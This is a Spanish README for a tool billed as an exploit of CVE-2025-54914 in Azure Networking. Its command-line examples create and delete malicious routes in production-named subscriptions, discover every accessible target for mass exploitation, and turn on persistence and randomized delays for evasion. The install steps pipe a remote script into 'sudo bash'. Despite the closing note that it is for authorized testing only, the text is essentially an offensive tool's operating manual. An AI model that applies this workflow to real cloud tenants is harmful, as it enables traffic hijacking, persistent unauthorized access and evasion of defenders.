
Exploit para CVE-2025-54914 en Azure Networking, que crea rutas maliciosas con evasión, persistencia, escaneo multiobjetivo e informes para pruebas de seguridad autorizadas.
Esta es una implementación mejorada de la vulnerabilidad CVE-2025-54914 de enrutamiento de Azure Networking. Esta versión mantiene la funcionalidad principal de la CVE mientras añade más características como persistencia, evasión, escaneo multiobjetivo y manejo de errores.
# Instalar dependencias de Python
pip install requests
# Instalar Azure CLI (para autenticación)
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
# Hacer ejecutables los scripts
chmod +x exploit.py
chmod +x exploit_utils.py
# Autenticarse con Azure
az login
# Crear ruta en un solo objetivo
python exploit.py \
--subscription-id "12345678-1234-1234-1234-123456789012" \
--resource-group "production-rg" \
--vnet-name "prod-vnet" \
--subnet-name "prod-subnet" \
--address-prefix "10.0.1.0/24" \
--next-hop-ip "10.0.2.5"
# Eliminar ruta
python exploit.py \
--subscription-id "12345678-1234-1234-1234-123456789012" \
--resource-group "production-rg" \
--vnet-name "prod-vnet" \
--subnet-name "prod-subnet" \
--route-name "exploit-route-1" \
--operation delete
# Crear archivo de configuración
python exploit_utils.py discover --output targets.json
# Explotar todos los objetivos
python exploit.py --targets-file targets.json --operation create
# Escanear objetivos sin explotar
python exploit.py --targets-file targets.json --scan-only
# Habilitar persistencia con intervalos de 30 minutos
python exploit.py --targets-file targets.json --persistence-mode --interval 30
# Rangos de retardo personalizados para evasión
python exploit.py \
--targets-file targets.json \
--delay-min 1.0 \
--delay-max 5.0 \
--max-workers 5
# Probar sin explotación real
python exploit.py --targets-file targets.json --dry-run
# Habilitar registro de depuración
python exploit.py \
--targets-file targets.json \
--log-level DEBUG \
--log-file exploit.log
{
"targets": [
{
"subscription_id": "12345678-1234-1234-1234-123456789012",
"resource_group": "production-rg",
"vnet_name": "prod-vnet",
"subnet_name": "prod-subnet",
"route_name": "exploit-route-1",
"address_prefix": "10.0.1.0/24",
"next_hop_type": "VirtualAppliance",
"next_hop_ip": "10.0.2.5",
"api_version": "2025-09-01",
"priority": 1
}
],
"metadata": {
"description": "Configuración de objetivos para CVE-2025-54914",
"created": "2025-01-09",
"version": "1.0"
}
}
# Token de acceso de Azure (alternativa a Azure CLI)
export AZURE_ACCESS_TOKEN="su_token_aqui"
# Nivel de registro
export LOG_LEVEL="INFO"
# Descubrir todos los objetivos accesibles
python exploit_utils.py discover --output discovered_targets.json
# Descubrir suscripciones específicas
python exploit_utils.py discover \
--subscription-ids "sub1" "sub2" \
--output targets.json \
--report discovery_report.txt
# Generar configuración de explotación a partir de objetivos descubiertos
python exploit_utils.py config \
--input discovered_targets.json \
--output exploit_config.json \
--address-prefix "10.0.1.0/24" \
--next-hop-ip "10.0.2.5"
# Analizar objetivos para evaluación de riesgos
python exploit_utils.py analyze \
--input targets.json \
--output vulnerability_report.txt
--dry-run primero--max-workers según la capacidad del sistema# Reautenticarse con Azure
az login
# Verificar cuenta actual
az account show
# Listar suscripciones accesibles
az account list
# Verificar permisos requeridos
az role assignment list --assignee $(az account show --query user.name -o tsv)
# Probar conectividad
curl -I https://management.azure.com
# Verificar configuración de proxy
echo $HTTP_PROXY
echo $HTTPS_PROXY
# Habilitar registro detallado
python exploit.py --log-level DEBUG --log-file debug.log
# Ver archivo de registro
tail -f debug.log
⚠️ IMPORTANTE: Esta herramienta es solo para pruebas de seguridad autorizadas.
Este proyecto está licenciado solo para uso en investigación y educación. El uso comercial requiere permiso explícito.
Para problemas y preguntas: